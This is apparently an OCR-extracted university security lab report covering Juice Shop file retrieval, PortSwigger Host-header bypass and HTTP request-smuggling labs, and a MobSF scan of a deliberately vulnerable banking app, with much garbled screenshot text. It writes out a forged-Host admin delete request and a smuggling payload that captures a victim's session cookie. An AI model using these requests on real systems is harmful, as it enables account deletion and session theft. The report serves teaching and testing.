"colors": "~1.1",
"config": "~1.28",
"cookle-parser”: "~1.4",
"cors": "~2.8",

"dottie": "~2.0",
"epilogue-js": "~0.7",
"errorhandler”": "~1.5",
"express": "~4.16",

00 =~ &h A £ W k2

Inside, we can read that this is a backup in version 6.2.0-SNAPSHOT.

The file contains information about related tools, libraries, folders, or versions. It holds a
vast amount of information about users and the entire system in general. Therefore, we
manage to perform LFI by providing an additional byte, enabling us to retrieve files from the
FTP server. The same method works for other files.
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The file contains lost promotional codes.

MOO00 =] Ohon P L) R

1@
| 11
' 12 1}6D%$gC7ss

Q localhost:z

# OWASP Juice Shop Kali Linux & KaliTo

Open ~ A

lftitle: Suspicious error messages specific to the application
2 description: Detects error messages that only occur from tampering with or attacking the application
3 author: Bjoern Kimminich

4 logsource:

5 category: application

6 product: nodejs

7 service: errorhandler

8 detection:

9

10

11

12

13

14

15

16

17 g

18 condition: keywords

19 level: low

Additionally, the file contains suspicious errors.
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9. Host Header Injection | HTTP Smuggling/Splitting

9.1 Host Header

Host header injection is a web security vulnerability that occurs when an attacker can
manipulate the Host header of a web request. The Host header is a part of the HTTP protocol
used to specify the domain name of the target server. In a typical HTTP request, the Host
header helps the server identify the correct virtual host and process the request accordingly.
When an attacker successfully injects or manipulates the Host header, they can trick the web
server into processing the request as if it is intended for a different domain. This can lead to
various security issues, including:

Domain Spoofing: By injecting a malicious Host header, an attacker can make it appear as
though the request originates from a trusted domain. This can be exploited to deceive users
or bypass security mechanisms that rely on domain-based authentication.

e Cache Poisoning: The Host header is often used by caching mechanisms to store and
retrieve content. Injection attacks can manipulate this header to poison the cache
with malicious content, impacting subsequent users who access the compromised
data.

e Request Smuggling: In some cases, Host header injection can be used as part of a
larger attack, such as HTTP request smuggling. This involves exploiting discrepancies
between how front-end and back-end systems handle the Host header, potentially
leading to the smuggling of malicious payloads.

e Security Bypass: Certain security controls and access restrictions may be based on the
domain specified in the Host header. By manipulating this header, an attacker might
bypass security measures or gain unauthorized access to restricted resources.

To mitigate Host header injection vulnerabilities, developers and administrators should
validate and sanitize user input, especially when it comes to headers and other data that can
influence the server's behavior. Additionally, web servers and applications should be
configured to only respond to requests that include a valid and expected Host header.
Regular security audits and monitoring can help detect and address potential vulnerabilities
in a timely manner.

At the start of the lab, we checked the file that is responsible for indexing pages in search
engines (robots.txt):

52 | 88



%’;J Wydziat Informatyki | @i
Politechnika Wroclawska Telekomunikacji ey

So, as we can see there is one hidden route (/admin) witch we can try to access.

WEbSECUrity Host header authentication bypass GBI Notsoived |
Academy -

Admin interface only available to local user

As we can see from the screenshot above the route is protected and the normal user
does not have access to it. However, using burpsuite we intercepted the GET request that is
used to request the admin page it looks like on screenshot below:
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Host header Notsoved | [, | | mewesqerymamees o v

Web$S authentication S O L

Acade bypass Request body paramerers A

Roquest ookies 2 v

z
h-va-Platfarn; “Linux 2
de- Tnsecure - Requests: 1 Request beaders v F
5.0 (Windows T 10,0; Win64; s64)
5 (4HTHL. Lake Geckal Chrese/1790.5080.71 - NN | pr—— = .
apelacetion/antia=0. 8, dvauesavil Admin interface only availabie to local users
apPlacation/signed- exchangeiv-b3;
L

obighlghts

If we modify the Host header and change it to localhost, we receive from server page
that looks like this:

. I Kali x8a

BemmapPo-- | 2

1 Burp Suite Community Edition v2023.111.3 - Temporary Project

Bup Project intuder Repester View relp
Dashboard  Target  Proyy  intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Exensions Leam
1%+

b security-scade

=R ot ety st 5

a= = T @
Request Response inspector = IO - x S
W Hex n = Pretty  Raw Hex  Render = =
ikl e Fender Request attributes 2 v &
1 GET Jadmin HTTP/Z B
2 Host: localhest] . . a3
5 Cooka i 0n=6apHn22LeYor TUN) WuGLIASopHEGLIL: _Lab= Host header authentication bypass Request query parameters o ~ |8
7 th 3L T2fq8v vBOhFx SAh JFTz129c7hSOAVIPS2b

yPyXWOASETP: wTs3 #SreFAkleVR .

AL dEnch TVbdn L - 31 SWSYEGSCh Vi Hi OLR3d Back to lab description Request body parameters 0 2
s -0

S Sec-Ch-Ua: *Not_A Brand®;w="8", *Chromiun®;v="120" Request cookies 2 ~
& Sac.Ch-Ua-Mobilz: 70 z
7 Sec-ch-Us-Platform: “Linux® ®
Request headers 0 v | B

Uparade-Insecure-Requests: 1
9 User-Agent: Mozilla/S.0 (Windows NT 10.0; WinS4: x84

ApplewebKit /537,36 (KHTHL. Like Gecko) Chrone/120.0,6089,71

Safari/537.36

Accept:

text/htnl, application/shtnl+xnl . application/xnl:e=0.9, inage avif

inage/webp, 1wage/apng. */4:4=0.8, application/signed-exchange: vab3.

Sec-Fetch-site: none

1
12 Sec-Fetch-Hode: navigate

15 Sec-Fetch-User: 7L

14 Sec-Fetch-Dest: docunent

15 Accept-Encoding: ozap, deflate, br

16 Accept-Language: en-US, en:q=0.

17 prierity: u=0, i

b

15

[IZIGIE) © obighlights

3,22 bytes | 67 millis

Done

In the raw response we can find api call with allow us to delete user:

=d Nnreil=
fadmin/deletefusername=wiener"=Delete</a=
=fd1iv=
=div=
=span=carlos - </span=
=g href="

Ffadmin/delete?username=carlos"=Delete=/a>
=Sl u=
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Now we can modify the GET request by adding the /delete?username=carlos and see what

happens.

Request

ot n

Raw Hex

GET /fadmin/delete?username=carlos HTTP/2

Host: localhest

Cookie: session=6qpHn22LeYoj TIWjvuGL3ASppMtholjl; _lab=
46%7cMCwCFHHHRS 2b 2RHr vRk 3LT 2 q8vvBOhFxSAhRQCIL0IFIZ] 29c 7hS0AVIFS 2h
aBclkdérVocugBZaspey Py xW0ASe7PS%2b fml wTa37MYsKIPFLbLDHEr SF4kl eVvR.
EMtEbtTWMVdPYJ4t 7w0j BAL dEnxMj xTVhdmiur3iSweYEQqoCh VHI O 3d
Cache-Control: max-age=0
Sec-Ch-Ua: "Not_A Brand"
Sec-ch-Ua-Mobile: 70
Sec-Ch-Ua-Flatform: "Linux"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit /537,36 (KHTML, like Geckeo) Chromes/120,.0.6099.71
Safari/537.36

Accept:
text/htnl.application/xhtml+xml,application/xml:g=0.9, image/avif,
image/webp,inage/apng,*/*;q=0.8,application/signed-exchange; v=b3;
g=0.7

W

"Chromium" 120"

DuoWw e

o

Response

Pretty Raw

HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Hex F

DWW

11 Sec-Fetch-Site: none

12 Sec-Fetch-Mode: navigate
3 Sec-Fetch-User: 71

14 Sec-Fetch-Dest: document

15 Accept-Enceding: gzip, deflate. br
16 Accept-lLanguage: en-US,en;gq=0.9
17 Priority: u=0, i

18

19

D&« >

Searct £ ohighlights

@& (<[>

L 0 highlights

As we can see on screenshot above the request was sent successfully and we received

a 302-success code response. Now if we go back to /admin route we can see that the lab was
solved successfully (screenshot below).

Kalix64

Burp Suite Community Edition v2023.11.1.3 - Temporary Project

Safari/s37.36

Accept !

text /html,application/xhtnl+xnl, application/xnl;g=0.9,inage/avif,
inage/webp, inage/apng, +/+:q=0.8, appl ication/signed-exchange;v=b3;

Solved

Burp FProject Intruder Repeater View Help
Dashboard ~ Target | Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  logger  Organizer  Bdensions  Lean {8 Settings
e+ 2
m & <[ Target: 700a1.web-security-academy.net /&  HTTRR2 (3)
== T g
Request Response =l inspector W) T T & X g
F R, Hy n = Prett Raw Hy Rend = W = =
o - e e “'“ o Request attributes 2 v | 7
1 GET /admin| HTTP/2 i
2 Host: localhost j=3
3 Cookie: session=GqpHn22LeYojTLWjvucL3ASppMtheljl; _lab= Request query parameters [} v B8
46%7CHOWCFHMHRE 202RHr vRk 3LT2f a8vvB0h FxSARQCI10JF Iz 1 28 7hSQAVIFS 20
aBclkd6rvocuqBZaspeyPyxWOASe 7P% 2b falwTa37MYsKIPFLbLOHEr SFakleVuR -
EMtEbt LWMVPY4t 7303 BAL d6n ki xTVbdini ur3i SWEYECQSCh Y FHLOU: 3d Request body parameters o
4 Cache-Control: max-ages= 2]
S Sec-Ch-Ua: "Not_A Brand Request cookies 2~
6 Sec-Ch-Us-Mobile =
7 Sec-Ch-Ua-Platfo Linux" 7
& Upgrade-Insecure-Requests: 1 Request headers 20 v
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) LAB
AppleNebKit/S37.36 (KHTML, like Gecko) Chrome/120.0,6099.71 Response headers I

0.7

Sec-Fetch-Site;
2 Sec-Fetch-Mode:
3 Sec-Fetch-User:

none
navigate
71

Congratulations, you solved the lab!

Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: =n-US,en;q=0.9
Priority: u=0, i

Searct o] ohighlights

Share your skills! ’_m Continue learning

6,242 bytes| 114 millis
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9.2 HTTP Smuggling/Splitting

HTTP Smuggling, also known as HTTP Splitting or HTTP Request Smuggling, is a web
security vulnerability that exploits discrepancies in the way different web components
interpret and handle the HTTP protocol. This vulnerability allows attackers to manipulate the
boundaries between HTTP requests, potentially leading to security misconfigurations and
bypassing security mechanisms.

The vulnerability arises from differences in how front-end and back-end systems
process and interpret HTTP headers, especially the Content-Length and Transfer-Encoding
headers. By manipulating these headers, attackers may trick the web server into processing a
request differently than intended.

The typical scenario involves an intermediary component (e.g., a front-end proxy and a back-
end server) interpreting the HTTP request headers differently. The attacker exploits this
discrepancy to smuggle a second request that the back-end server processes, while the front-
end proxy interprets the request differently.

The consequences of successful HTTP Smuggling attacks include:

e Data Exposure: Attackers may access sensitive data or perform actions on behalf of
other users by injecting malicious content into the smuggled requests.

e Cache Poisoning: HTTP Smuggling can be used to poison caching mechanisms by
causing the front-end and back-end to cache different versions of the same request.

e Security Bypass: Attackers may bypass security controls and access restrictions by
exploiting the discrepancy in how the front-end and back-end interpret the HTTP
request.

To mitigate HTTP Smuggling vulnerabilities, developers and administrators should:

e Ensure consistent handling of HTTP headers across all components of the web
application.

e Use HTTP/1.1, as it has more defined rules for handling headers compared to earlier
versions.

e Employ security mechanisms, such as Web Application Firewalls (WAFs), to detect
and prevent HTTP Smuggling attacks.

e Regularly test web applications for vulnerabilities, including HTTP Smuggling, through
security assessments and penetration testing.

It is worth noting that the specific steps to exploit HTTP Smuggling may vary based on the
unique configuration and behavior of the targeted web application and its components.
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To complete this lab, we used this lab from PortSwigger Academy:

e https://portswigger.net/web-security/request-smuggling /exploiting/lab-capture-
other-users-requests

At the start we intercepted the adding comment request using BurpSuite Intercept function.
The request is structured as we can see below:

Burp Project Intruder Repeater View Help

Dashboard ~ Target  Prowy Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Leam & set
1% 2 x4 5
m & ancel Target: http .web ity-academy.net /5 | HTTP/2
O= = T g
Request Response inspector W[} T = & X
F Raw Hex w o= F Raw Hex s W=
e e Request attributes 2 v
1 POST /post/comment HTTP/2
2 Host: 0a3a003f039fadgasl f web-security-acadeny.net
3 Cookie: session=nOYAiQiD7ZvtxnsBuvFgaNkyyB3Luzan Request query parameters o} v
4 Content-Length: 115
S Cache-Control: max-age=0 -
€ Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";y="120" Request body parameters °
7 Sec-Ch-Ua-Mobile: 70
8 Sec-Ch-Ua-Platform: "Linux" Request cookies 1 -
9 Upgrade-Insecure-Requests: 1
10 Origin:

https://0a3a003f039f249a81cd99dd000CO06T web-security-acadeny.net Request headers 23 v

Content -Type: application/x-www-form-urlencodad

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winsa: x6a)

Applewebkit /537,36 (KHTML, like Gecko) Chrome/120.0.60399.71

safari/537.36

15 Accept:
text/htnl, application/xhtml+xnl,application/xml:q=0.9, inage/avif,
image/webp,image/apng, +/+;q=0.8, application/signed-exchange : v=hb3;
q=0.7

14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-Mo avigate]

15 Sec-Fetch-Us

17 Sec-Fetch-Dest: document

18 Referer:

https: //0a3a003f 0397249281 cd99dd000CE06T  web-security-acadeny . net

/post 7post Id=10

Accept-Encoding: gzip, deflate, br

0 Accept-Language: en-US,en;q=0.9

Priority: u=0, i

<=

esrf=hLetSDocVhYORNRCPZwVz720ze7C1IKgpost Id=106connent=Test &name
=Piot r+%3A%296enail=1olwhoani%40gnail . confwebsite=

£ | ohighlights | (2) 03 ¢ ||| | searct 5| ohighlights

@&l [=

The form itself looks like this:

Leave a comment

Comment

Name

)site
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Then in the Repeater section under Inspector settings we changed the HTTP protocol version
from2to 1.1

Request attributes 2 ~

Protocol h HTTPR/2

Name Value =
Method POST >
Path /post/comment >

Then we moved the comment section to the end of the csrf section and checked if the
request is still working.

Piotr :) | 13 January 2024

Test

Piotr 1) | 13 January 2024
Test

Then we modified the request, so it looked like this:

Request
Pretty Raw Hex E n =

POST F HTTR/1.1

Host: Oa3a003f039fad9a8lcd29ddO00cO0Et . web-security-academy . net
Content -Type: application/x-www-form-urlencoded

Content-Length: 270

Transfer-Encoding: chunked

&

W= @ w M-

POST Spostscomment HTTR/1.1

10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 910

12 Cookie: session=n0YAL1QiD7ZvtxnsBuvFgalKyyB3Luzan

14 csrf=hLet5DgcVhYSRmRcPZwYz 7elze7CiIKg&postId=10&name=Piot r+%3A% 29
&email=lolwhoami%40gmail . coméwebsite=&comment=test|
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After sending this request in the comment section on the website we were able to see

additional information (the request send by the user):

Piotr :) | 13 January 2024

testGET /post?postld=10 HTTP/1.1 Host: 0a3a001Ef039fa49a81chQddOOOcOOSf.web—security—

academy.net cache-control: max-age=0 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120" sec-
ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71

Safari/537.36 accept: text/html,application/xhtml|

xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=h3;q=0.7 sec-fetch-site: same-origin sec-fetch-mode: navigate sec-fetch-user: ?1 sec-

fetch-dest: document referer: https://0a3a003f039fa49a81cd99dd000c006f.web-security-

academy.net/post/comment/confirmation?postld=10 accept-encoding: gzip, deflate, br accept-

language: e

After resending the request a couple of times, we found session ID in the comment section,

which will allow us to steal user session.

| Kali x84

=P oOr-

gHTTPre

b-security-academy.net

Piotr :) | 13 January 2024

text/html,application/xhtmi

secret=W26BQIluoUKxfOD4JjiqJtsJ230HQJVTs;

Piotr :) | 13 January 2024

Safari/537.36 accept: texthtml,application/xhtml|

language: en-U

Leave a comment

cGET / HTTP/1.1 Host: 0a3a003f039fa49a81cd99dd000c006f.web-security-academy.net sec-ch-
ua: "Google Chrome",v="119", "Chromium",v="119", "Not?A_Brand",v="24" sec-ch-ua-mobile: 20
sec-ch-ua-platform: "Linux" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Victim)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 accept:

xml application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7 sec-fetch-site: none sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-
dest: document accept-encoding: gzip, deflate, br accept-language: en-US,en;q=0.9 cookie: victim-
fingerprint=JwAg6p7pYGMeK3HJiTwSRDnDXjJpmMc6;

jsession=KKLBrxayqdlteVOOWWUBIloHscQ62nZ Xjed

dGET /post?postld=10 HTTP/1.1 Host: 0a3a003{039fa49a81cd99dd000c006f.web-security-

academy.net cache-control: max-age=0 sec-ch-ua: "Not_A Brand",v="8", "Chromium";v="120" sec-
ch-ua-mobile: 20 sec-ch-ua-platform: "Linux" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71

xml,application/xml;q=0.9,image/avif image/webp image/apng,*/*:q=0.8,application/signed-
exchange;v=b3;q=0.7 sec-fetch-site: same-origin sec-fetch-mode: navigate sec-fetch-user: ?1 sec-
fetch-dest: document referer: https://0a3a003f039fa49a81cd99dd000c006f.web-security-
academy.net/post/‘comment/confirmation?postld=10 accept-encoding: gzip, deflate, br accept-

e ——————————————————

session=KKLBrxayqdlteVOOWWUBiloHscQ62nZX
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Now after intercepting login request, we can replace the session ID and send it to the server.

® [ Il < Kalixea v b @ ©

R EEk

kS

Burp Suite Community Edition v2023.11.1.3 - Temporary Project

B Lab: Exp

Burp Project Intruder Repeater View Help

Dashboard  Target  Frox Intruder Repeater  Collaborator Sequencer (%) Settings [P X 49a81cdosd... B>

Decoder  Comparer  Logger  Organizer  Extensions  Leam

Intercept HTTPhistory WebSockets history {5} Proxy settings .
. Web Security E®/0ting HTTP 51 o conea i
£ B Request tohttp: f web-security-academy.net:443 [79.125.84.16] e ecurl y request Jisy

Forw Drop Action open.

¥ | @ _Academy'{l smuggling to

Pty R 8 " = | nspector 7 - JE R N capture other
3 Cookie: session- users' requests
CJL931 RIBRGVOCDENXrpFgSpilUel Z4R Request attributes 2 ~ E
4 Content-Length: 65 ®
5 Cache-Cont rol: Protocol HTTRZ = Back to lab descriptio
6 Sec-ch-Ua: & Home | My account
"Chromium";
7 Sec-Ch-Ua- Name Q Value £
@ Sec-Ch-Ua-Flatform: "Linux" .
5 Upgrade-Insecure-Requests: 1 Method POST > | B I_(jgm
e :;:gm}/u 32003f039f 249281 cd99ddo00c co6F Fath legin > £
ps://0a3a 24ga81c, c :
Tweb_security-acadeny net 2 Invalid username or password.

11 Content-Type Request query parameters 0 ~
application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT

10.0; Win64; x64) ApplewebKit/S37.36 Request body parameters 3 ~

(KHTML, Tike Gecko) Chrome120.0.6099,71

safari/s37.36 o
P i) Request cookies 1

text/htnl, application/xhtnl+xnl,applicat

ion/xnliq=0.9, inage/avif,inage/webp,inag | Requestheaders 2~

.B.application/signed-exch
0.7
14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-Mode: navigate

16 Sec-Fetch-User: 71

15 Referer:

https : //0a3a003f039fa49a81cd99dd000c 0OEF
.web-security-acadeny .net /Login
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;g=0.9
Priority: i
Connection: close

csrf=KKLBrrayqdTt e VOONNUBL ToHs c062nZx
Susername=testipassword=tes

@ &€ [searc ~ | ohighlights

After refreshing the page, we were granted with popup that says Congratulation you solved
the lab:

Burp Project Intruder Repeater View Help
Dashboard Target Intruder Repeater Collaborator Sequencer {5} Settings 3 @ [@) bups//0333003f0

Decoder  Comparer Logger  Organizer Extensions Leam
WEbSECUI'ity Exploiting HTTP  q&8Y solved B

Intercept  HTTPhistory  WebSockets history {6 Proxysettings
request

Forward ; Interceptis off t Open browser Academy’{l smuggling to
capture other
users' requests

Froxy

Congratulations, you

Eolvedithe bl Share your skills!

¥y 0

Continue learning »

Home | My account

Interceptis off

‘When enabled, requests sent by Burp's browser are held here
sothat you can analyze and moiify them before forwarding
them tothe target server.

Learn more Openbrowser
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10. MobSF

MobSF, short for Mobile Security Framework, is an open-source, all-in-one mobile
application security assessment tool designed to help security professionals and developers
identify and address security vulnerabilities in mobile apps. MobSF supports both Android
and iOS platforms and provides a wide range of features for static analysis, dynamic analysis,
and forensic analysis of mobile applications.

Key features of MobSF include:

e Static Analysis: MobSF can perform static analysis on mobile apps to identify potential
security issues without executing the application. It examines the app's binary code,
manifest files, and other resources to find vulnerabilities such as insecure data
storage, insecure communication, and insecure coding practices.

e Dynamic Analysis: MobSF facilitates dynamic analysis by allowing users to install and
run mobile apps in a controlled environment. It monitors the app's behavior during
runtime, helping to identify runtime vulnerabilities, data leaks, and potential security
weaknesses that may not be apparent through static analysis alone.

e Forensic Analysis: The framework supports forensic analysis of mobile apps, which
involves examining an app's data and artifacts to gather information about its
behavior and potential security risks. This can be useful for understanding how an
app handles sensitive data, such as user credentials.

e Web API Testing: MobSF includes features for testing the security of web APIs used by
mobile applications. It can identify issues related to authentication, authorization,
and data validation in the communication between the mobile app and backend
servers.

e Report Generation: MobSF generates comprehensive and customizable reports that
summarize the findings from static and dynamic analyses. These reports are valuable
for security professionals, developers, and stakeholders to understand and address
security vulnerabilities in mobile applications.

e Support for Android and i0OS: MobSF supports both Android (APK) and iOS (IPA)
applications, making it versatile for analyzing security across a variety of mobile
platforms.

As an open-source tool, MobSF is actively maintained, and its source code is available on
platforms like GitHub. Security professionals and developers can leverage MobSF as part of
their mobile application security testing and secure development lifecycle to enhance the
overall security posture of mobile applications.
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10.1 Installing MobSF
To install MobSF we used their Quick Setup guide from GitHub page:

Quick setup

docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run —-it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

After executing above commands in the command line and the accessing the localhost:8000
address with browser we were granted with home screen of the MobSF tool.

A omPkso 2 3 4| @ E A © 19:40

urity Framewe X '

File Actions Edit View Help
) O localhost kg ©

KaliLinux # KaliTools # KaliDocs % Kali s e\ Kali NetHunter

& Upload & Analyze

Drag & Drop anywhere!

Download & Scan by package name

RECENT SCANS | DYNAMIC ANALYZER | AP| | DONATE ¥ | DOCS | ABOUT

13f3a74400e38f41dcada24104967af7ae299ff7f0ab90f3aef25b70ch7876 ©2024 Mobile Security Framework - MobSF v3.9.2 Beta
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10.2 Analyzing software using MobSF

To test the software and see what the tool is capable of we chose test application:

e https://github.com/rewanthtammana/Damn-Vulnerable-Bank

We downloaded and uploaded the .apk file into the MobSF. After a moment we were
granted with generated report that included information about the app:

Kali x64

Kali Linux #8 KaliTools « KaliDocs ¥ Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

= RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATE v DOCS ABOUT Search MD5

iAPP INFORMATION

& FILE INFORMATION

& APP SCORES

XD dvba_v1.1.0.apk XD DamnVulnerableBank

. [ size EXSLT:Y ZEEXIED com.app.damnvulnerablebank
[T0) 5b40b49cd80dbe20ba611d32045b57c6 [Viain activity

Security Seore) 40/100 BT 23dcd688feddd830cf02300755a5bbd603d 8789 com.app.damnvulnerablebank.SplashScreen

/432 PPYRT 76c308fac6a65523534TT1TTT780e004eb1d91be03285TT68cBI1b2baf40bab LY i sox PR srax soxc |

& [iviroa version Nare Bl vt version ode B
&6 MobSF Scorecard

1 0 1

SERVICES RECEIVERS PROVIDERS

19

ACTIVITIES

View @ View @
Exported Exported Exported Exported
u Activities Services @\ Receivers Providers
5 o 0 o

As we can see on the above screenshot the security score of the app is 40/100. The MobSF
tool allow us to see the decompiled code of the application for more accurate analysis:
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| Kali x64
=k

= Java Source

iLinux & Kali tHunter Exploit-C Google Hacki

RECENT SCANS STATIC ANALY: DYNAMIC ANALY. API

. Java Source

Find by filename: Find by content:

Filename Text

File: CardView java

androidx
: ey package androidx.cardview.widget;
[ B coordinatorlayout K .
import Context;
| i import res.Color.

; recyclerview import

import res. TypedAr
- W legacy import Color;
£ appcompat import
import
[ W comstraintlayout import
§ biometric import
import
cardview import ¢
4w i widget import ¢
= . loaded from: classes.dex
i public class CardView extends Framelayout [
[ B fragment public static fimal int[] i = {16842801};
public static fimal c j = new (
i viewpager2

public boolean f11lb;

; versionedparcelable
[ B savedstate

[ annotation renamed fron S0

Lower on the page we can find information

O localhost

KaliLinux g Kali KaliDocs & Kali ims &\ Kali NetHunter

Google Hackin

¥

RECENT SCANS STATIC ANALYZER IC ANALYZER API

.SIGNERCERTIFICATE
i ]
Binary is signed
-3 vl signature: False
v2 signature: False
F v3 signature: False
vd4 signature: False
= X.589 Subject: O=dvba, OU=dvba, CN=damncerp
'_ Signature Algorithm: rsassa_pkcsivib
W valid From: 2020-10-29 07:43:13+00:00
Valid To: 2045-10-23 07:43:13+00:00
] Issuer: O=dvba, OU=dvba, CN=damncorp
Serial Number: ©x1230704c
Hash Algorithm: sha256
O md5: 41d413f665c8f789b196b96341e540c8
e shal: e26ea75hdcGab4769acedc4c78027aab8580a858

sha256: 0d770dd2df7f63e949e8caB87b7e97ba6827762e289bd281679910609568acdde

Wydziat Informatyki i
Telekomunikacji

DONATE » DOCs ABOUT Search MD5

about the signer certificate:

DONATE + DOCs ABOUT arch MD5

sha512: ©943f72dcc5c543af6bf2648ba2f02815652987b713622d2f015709aT490e1b33174e7f18e149cce039e1d0303ab7e80fed47977eceed4ae28e91c6h9ab6a58

+ PublicKey Algerithm: rsa

— Bit Size: 2048

L Fingerprint: e9637ca397b8c7197333f1b6dagddbdadsbbifcef1f123f1415751e103fda196
. Found 1 unique certificates

B

=
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Next option that the tool provides us is Application Permissions which allow us to see
permission that application requires to work on a mobile device:

"

« >

Kali Linux Kali Tools « Ka € s o Kali NetHunter xploit-DB Google Hacking DB OffSec

*
H RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATE ¥ DOCs ABOUT Search MD5

i= APPLICATION PERMISSIONS

Search:
CODE
PERMISSION + STATUS INFO DESCRIPTION MAPPINGS
android.permission.INTERNET [ norma | full Internet access Allows an application to create network
sockets.
android.permission.USE_BIOMETRIC [ normal | allows use of device- Allows an app to use device supported
supported biometric biometric modalities.
modalities.
android.permission.USE_FINGERPRINT { normal | allow use of fingerprint This constant was deprecated in AP| level 28.
Applications should request USE_BIOMETRIC
instead.
Showing 1to 3 of 3 entries Previous Next

Android APl — category where we can find which native system API calls the app is
using in this example app is using for example Android Notification, GPS Location, Encoding
and Decoding and many more we can see code used for each of the API calls by clicking blue
button "Show Files”:

SempPor-

OffSec
DONATE » DoCs ABOUT Search MD3

API * FILES

Android Notifications
0

Base64 Decode
=)

Base64 Encode
*
— Certificate Handling
v R e=m
[ Dynamic Class and Dexloading m
LY Execute 05 Command
13

Get Installed Applications
+

Get System Service Show Files
. <
==

N GPS Location Show Files

==
= Showing 1to 10 of 20 entries Previous 2 Next
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Browsable activities — in this section we can find external sites which the app is using
in our case we can find their website that allow app to check current currency rates:

O O localhost

KaliLinux #& KaliTools <« KaliDocs ¥ KaliForums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

= RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER AP| DONATE » Docs ABOUT Search MD5

GPS Location Show Files
Showing 1 to 10 of 20 entries Previous 2 Next
i
¢ W BROWSABLE ACTIVITIES
» Search:
ACTIVITY + INTENT
L
- com.app.damnvulnerablebank.CurrencyRates Schemes: http://, https://,
E Hosts: xe.com,
L L
" Showing 1to 1 of 1 entries Previous Next
b3
+
& NETWORK SECURITY
[ 1}
[
. HIGH INFO SECURE
h 2 1 o o
2 Search:

Network security - contains information about vulnerabilities, which are flagged at one of
four levels:

e High

e Warning
e Info

e Secure

In this example, we can see two vulnerabilities flagged as high and one as a warning. We can
also find descriptions of the vulnerability, which contain some explanation for why it is
flagged as it is.
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O localhost

i Linux & Kali

= RECENT SCANS

Showing 1to 1 of 1 entries

[i]
& NETWORK SECURITY
o
HIGH

‘ 2
L]

NO * SCOPE SEVERITY
-

L : [ nien
V)
- 2 : m
13
It 3 warning
| 1}
= Showing 1to 3 of 3 entries
B
= 5 CERTIFICATE ANALYSIS

Wydziat Informatyki i i‘:%
Telekomunikacji g’é“"

s @ KaliDocs M Kali Forums X Kali NetHunter Exploit-DB Google Hackin:

STATIC ANALYZER DYNAMIC ANAL DONATE ¥ DOCS ABOUT Search MD5

Previous Next

INFO SECURE
1 o o

Search:

DESCRIPTION
Base config is insecurely configured to permit clear text traffic to all domains.
Base config is configured to trust user installed certificates.

Base config is configured to trust system certificates.

Previous Next

Certificate Analysis — contains information about certificates used by the tested application:

5 CERTIFICATE ANALYSIS
HIGH
1]
TITLE + SEVERITY
Signed Application

Showing 1to 1 of 1 entries

INFO
Search:

DESCRIPTION

Application is signed with a code signing certificate

Previous Next
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Manifest analysis - Here is most of the identified and noteworthy information in the

report. These details can be used to identify issues and guide us towards discovering even
more significant shortcomings related to application security.
crucial sections that should be paid special attention to.

« > C @ 0D

localhost:

Kali Linux # KaliTools = KaliDocs 3 KaliForums e Kali NetHunter

H = RECENT SCANS STATIC ANALYZER

Q, MANIFEST ANALYSIS

HIGH

o 4 6
o
' NO T ISSUE
= 1 App can be installed on a vulnerable upatched Android version
_ Android 5.0-5.0.2, [minSdk=21]
»
L]
0
b3
+
H

2 Clear text traffic is Enabled For App
[android:usesCleartextTraffic=true]
3]

Exploit-DB

DYNAMIC ANALYZER

Google Hacking DB OffSec

API DONATE *

INFO

SEVERITY

This is certainly one of the

DOCS ABOUT Search MD5

SUPPRESSED
U]

Search:

DESCRIPTION OPTIONS

This application can be
installed on an older version

of android that has multiple

unfixed vulnerabilities. These

devices won't receive

reasonable security updates

from Google. Support an

Android version=> 10, API 29

to receive reasonable security

updates.

The app intends to use
cleartext network traffic, such
as cleartext HTTP, FTP stacks,
DownloadManager, and

’Qv

Code analysis - This section can provide clues that may help uncover additional

exploits. It has been identified that the application logs sensitive information. We can also
investigate where exactly such information can be found using the provided binary paths.
Another issue pertains to the fact that information is being stored in external memory that
can be browsed by other applications, potentially leading to leaks of sensitive information.

</> CODE ANALYSIS
HIGH INFO
1] 1 1
NO T ISSUE SEVERITY
1 The App logs information. Sensitive
information should never be logged.
2 App can read/write to External Storage. Any warning
App can read data written to External
Storage.
3 This App may have root detection [ secure |
capabilities.

SECURE
1

STANDARDS

CWE: CWE-532: Insertion of
Sensitive Information into Log File
OWASP MASVS: MSTG-STORAGE-3

CWE: CWE-276: Incorrect Default
Permissions

OWASP Top 10: M2: Insecure Data
Storage

OWASP MASVS: MSTG-STORAGE-2

